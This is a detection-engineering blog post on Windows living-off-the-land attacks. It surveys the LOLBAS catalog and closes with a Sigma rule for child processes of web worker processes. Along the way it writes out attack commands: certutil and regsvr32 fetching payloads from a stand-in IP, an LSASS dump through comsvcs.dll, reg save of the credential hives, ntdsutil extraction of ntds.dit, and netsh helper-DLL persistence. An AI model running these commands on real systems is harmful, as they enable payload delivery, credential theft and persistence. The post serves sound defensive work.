What Is Living off the Land (LotL) in Attacks?

certutil.exe ships on every Windows install, is signed by Microsoft, sits in C:\Windows\System32, and will fetch a file from a URL onto disk. That last part is not a bug. It is what the certificate utility was built to do, and it is why the technique in this post works. An operator who uses it is not evading your allowlist. Your allowlist agrees with them.

Living off the land means the attacker executes their objective using software that is already on the host and already trusted. No dropped payload to hash, no unsigned binary to block, no new file for an EDR to score. Christopher Campbell and Matt Graeber coined the phrase at DerbyCon 3 in 2013. The tooling ecosystem caught up later.

What LOLBAS actually documents

The LOLBAS project (Living Off The Land Binaries, Scripts and Libraries) at lolbas-project.github.io is the reference catalog for Windows. Its criteria are narrower than most people who cite it assume. A candidate must be a Microsoft-signed file, native to the OS or downloaded from Microsoft. It must have "unexpected" functionality beyond its intended use case, with allowlisting bypasses as the stated exception. And it must be useful to an APT or a red team.

As of this writing the API at /api/lolbas.json returns 239 entries carrying 476 documented functions. The largest categories tell you what operators actually want:

Execute       256
Download       61
AWL Bypass     49
ADS            36
Dump           21
Copy           13
UAC Bypass      9
Compile         8
Upload          5
Tamper          5
Credentials     5
Reconnaissance  4

LOLBAS is Windows only. The equivalent projects are GTFOBins for Unix binaries, LOOBins for macOS (Living Off the Orchard, 62 binaries and 183 use cases), LOLDrivers for signed vulnerable kernel drivers, and LOLESXi for VMware ESXi binaries used by ransomware crews. They exist because the technique is not a Windows problem. It is a consequence of shipping a useful operating system.

Download and execution proxies

This is the largest category by a wide margin. Execute plus Download plus AWL Bypass is 366 of the 476 documented functions. Two commands, straight from the LOLBAS entries:

certutil.exe -urlcache -f http://198.51.100.20/payload.exe C:\Users\Public\p.exe
regsvr32.exe /s /n /u /i:http://198.51.100.20/s.sct scrobj.dll

The first writes a file to disk and never touches a browser. The second never writes the payload to disk at all. It hands a remote scriptlet to scrobj.dll through a signed registration utility, which is T1218.010. What the operator buys is the caller's reputation. The process tree shows a Microsoft-signed System32 binary making an outbound connection, which is a shape your telemetry sees ten thousand times a day for legitimate reasons.

rundll32.exe is the general case, T1218.011. It will load any DLL and call any exported entry point, including one on an SMB share.

Credential access

Only five entries carry the Credentials tag and 21 carry Dump, but the small ones matter most. comsvcs.dll exports a MiniDump function reachable through rundll32.exe, which produces an LSASS dump without a single attacker binary on disk:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 684 C:\Windows\Temp\l.dmp full

That is T1003.001. reg.exe will hand you the offline hive set instead:

reg save HKLM\SECURITY sec.bak && reg save HKLM\SYSTEM sys.bak && reg save HKLM\SAM sam.bak

On a domain controller, ntdsutil.exe "ac i ntds" "ifm" "create full c:\" writes an IFM set containing ntds.dit and the SYSTEM hive. It is also the documented Microsoft procedure for building a new DC from media, which is the entire problem in one command.

Discovery

Discovery is where LOLBins are least distinguishable from administration, because discovery is administration. net group "Domain Admins" /domain, nltest /dclist:, whoami /priv, arp -a. LOLBAS barely covers these (Reconnaissance is 4 entries) precisely because there is nothing unexpected about them. An operator running them buys silence, not capability.

wmic.exe sat in both camps, doing local discovery and remote execution through wmic /node: process call create. It was deprecated in 2021 and is being removed from current Windows builds, a reminder that a static blocklist decays in both directions.

Persistence

schtasks.exe and reg.exe are the boring answer and still the common one, T1053.005 and T1547.001. The more interesting entry is netsh.exe:

netsh.exe add helper C:\ProgramData\evil.dll

That writes a DLL path under HKLM\SOFTWARE\Microsoft\Netsh, and the DLL loads every time netsh.exe runs, which happens on its own on plenty of hosts with VPN software installed. This is T1546.007. There is no new service, no Run key, no scheduled task, and the loading process is a signed System32 binary.

Presence is not the signal

Here is the argument the whole post exists for. certutil.exe on a host is not evidence. rundll32.exe running is not evidence. Every one of these binaries is present on every host by definition, and most of them run daily for legitimate reasons. A detection that fires on the name of the binary is a detection that fires on Windows working correctly.

The signal is context. Concretely, six kinds:

1. Parent process. winword.exe spawning certutil.exe is not an administration pattern. w3wp.exe spawning cmd.exe is a webshell until proven otherwise.

2. Command-line arguments. certutil -hashfile file.exe SHA256 is a hash check. certutil -urlcache -f http://... is a downloader. Same binary, same signature, opposite meaning.

3. User account. ntdsutil ifm under the backup service account at the scheduled window is expected. The same command under a helpdesk account is not.

4. Time of day. schtasks /create /sc minute /mo 1 on a workstation at 03:14 has no business owner awake to explain it.

5. Destination. certutil.exe connecting to crl.microsoft.com is its job. certutil.exe connecting to a raw IPv4 literal or a paste service is not.

6. Host role. nltest /dclist: from an admin jump box is routine. From a print server it is a foothold enumerating the domain.

None of those fields are exotic. All of them are in Sysmon Event ID 1, or in Security Event ID 4688 once you enable "Include command line in process creation events".

A rule that keys on context, not on the name

This rule does not name a single LOLBin. It says that a web application worker process has no business spawning child processes, and lets the allowlist carry the exceptions.

title: Child process spawned by a web application worker
id: d6174fb4-820f-4aba-9118-aafe1175d0f7
status: experimental
description: >
    Detects any child process created by an IIS, PHP or Tomcat worker process,
    excluding the runtime compilation and crash-reporting children these
    processes legitimately create. Keys on the parent context rather than on the
    name of the child binary, so it fires on LOLBins and on dropped tooling alike.
references:
    - https://lolbas-project.github.io/
    - https://attack.mitre.org/techniques/T1505/003/
author: HuntRule
date: 2026-07-31
tags:
    - attack.persistence
    - attack.t1505.003
    - attack.defense-evasion
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\w3wp.exe'
            - '\php-cgi.exe'
            - '\httpd.exe'
            - '\tomcat9.exe'
            - '\tomcat10.exe'
    filter_optional_dotnet_compile:
        Image|endswith:
            - '\csc.exe'
            - '\vbc.exe'
            - '\cvtres.exe'
    filter_optional_windows_noise:
        Image|endswith:
            - '\conhost.exe'
            - '\WerFault.exe'
    condition: selection and not 1 of filter_optional_*
fields:
    - Image
    - CommandLine
    - ParentImage
    - User
falsepositives:
    - ASP.NET runtime compilation on first request after a deployment
    - Application code that legitimately shells out, for example PDF or image conversion
    - Backup, patching and monitoring agents that inject work into the worker process
level: high

What it catches, what it misses, what it costs

It catches the LOLBin case and the dropped-tooling case with the same logic, because it never asks what the child was. certutil.exe, cmd.exe and a freshly written svchost.exe in C:\Windows\Temp all trip it identically.

It misses everything that does not fork. In-process webshells using .NET reflection or PHP's own file and socket functions create no child process and no process_creation event at all. It also misses workers running under a non-default image name, and it addresses only one of the six kinds of context listed above.

The false positive burden is real and it is front-loaded. On a first deployment against an estate with mature .NET applications, the csc.exe and cvtres.exe path will dominate the volume, plus whatever your developers decided to shell out to.

Baselining reduces that in a specific way. Run the selection clause alone as a hunt query for two weeks, no filters and no alerting. Group results by ParentImage, Image and application pool identity. Anything appearing on more than a handful of days with a stable command line is your environment, not your adversary. Encode those as filter_optional_* blocks scoped to the host or pool that produces them, never estate-wide. Then turn the alert on. That loop is why detection engineering is a maintenance discipline rather than a writing exercise.

Behaviour over inventory

LOLBAS entries by year of addition: 95 in 2018 when the project was seeded, then 15, 23, 29, 24, 13, 14 and 21 through 2025, with 5 already added in 2026. That is a steady 13 to 29 new signed binaries every year for seven years, from one project, covering one operating system.

A blocklist of binary names is a bet that the list stops growing. The criteria guarantee it will not, because every new Microsoft-signed utility shipping a download flag or a DLL loader is a candidate. The list decays from the other end too, as wmic.exe shows. Maintaining an inventory of names means running to stay still.

A rule keyed on context does not care. "A web worker spawned a child" survives the next 21 additions to LOLBAS, because it was never about the child.

ATT&CK mapping

Summary

Living off the land defeats signature detection and allowlisting by construction, not by cleverness. The binary is signed, expected and already on the host, so its presence carries no information and its name is a poor rule key. What carries information is context: the parent process, the arguments, the account, the hour, the destination and the role of the host. Rules built on those fields cost more to tune than a name blocklist and cost far less to maintain, because the population of trusted binaries grows every year and the population of implausible process relationships does not.

Start with what to collect:

Sysmon Event ID 1      process creation with ParentImage and CommandLine
Sysmon Event ID 3      network connection, joins the binary to a destination
Sysmon Event ID 11     file create, catches the payload certutil writes
Security Event ID 4688 process creation, requires command-line auditing enabled
Security Event ID 4104 PowerShell script block logging

Browse the catalog for rules that already key on these fields: Windows detection rules and a direct search for LOLBin coverage.